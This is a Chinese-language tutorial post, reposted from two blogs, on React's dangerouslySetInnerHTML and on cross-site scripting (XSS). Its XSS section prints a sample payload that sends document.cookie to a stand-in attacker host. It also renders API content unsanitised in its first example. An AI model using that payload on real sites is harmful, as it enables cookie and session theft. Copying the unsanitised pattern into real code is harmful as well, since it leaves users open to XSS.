react中dangerouslySetInnerHTML使用

在react中，通过富文本编辑器进行操作后的内容，会保留原有的标签样式，并不能正确展示。

在显示时，将内容写入__html对象中即可。具体如下：

<div dangerouslySetInnerHTML = {{ __html: checkMessages.details }} />

如果是直接调用接口中的值，则是以上的写法，如果是单纯的显示固定的内容，用如下的写法：

<div dangerouslySetInnerHTML={{ __html: '<div>123</div>' }} />

原理：

1.dangerouslySetInnerHTMl 是React标签的一个属性，类似于angular的ng-bind；

2.有2个{{}}，第一{}代表jsx语法开始，第二个是代表dangerouslySetInnerHTML接收的是一个对象键值对;

3.既可以插入DOM，又可以插入字符串；

4.不合时宜的使用 innerHTML 可能会导致 cross-site scripting (XSS) 攻击。 净化用户的输入来显示的时候，经常会出现错误，不合适的净化也是导致网页攻击的原因之一。dangerouslySetInnerHTML 这个 prop 的命名是故意这么设计的，以此来警告，它的 prop 值（ 一个对象而不是字符串 ）应该被用来表明净化后的数据。

相关资料：

转载自https://blog.csdn.net/exploringfly/article/details/80582859

---

什么是cross-site scripting (XSS)攻击：

XSS示例

　　在深入了解XSS的各个方面之前，让我们首先了解XSS攻击到底是怎样完成的。

　　就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中，我们可以输入对该文章的评论，也可以输入以下HTML标记：

1 <Script>alert(“XSS attack available!”);</Script>

　　在读者按下提交键之后，该标记将被提交到服务器上，并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为：

1 <div>

2    <Script>alert(“XSS attack available!”);</Script>

3 </div>

　　而从用户的角度来看，该网页中就出现了一个警告：

　　也就是说，用户输入的脚本语言已经被用户的浏览器成功执行。当然，这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者，其所插入的脚本代码更可能如下所示：

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'

2    width=16 height=16 border=0 />');</script>

　　该段脚本将向当前评论内插入一个图片，而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来，其仅仅是一个不能显示的图片。但是对于恶意攻击者而言，该JSP页面将自动记录传入的msg参数内容，即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息，甚至是用户名，密码等重要信息。

所以，react的做法是不直接读取你的html代码，以此来避免cross-site scripting (XSS)攻击，让你的代码更加安全

转载自https://www.cnblogs.com/xianyulaodi/p/5038258.html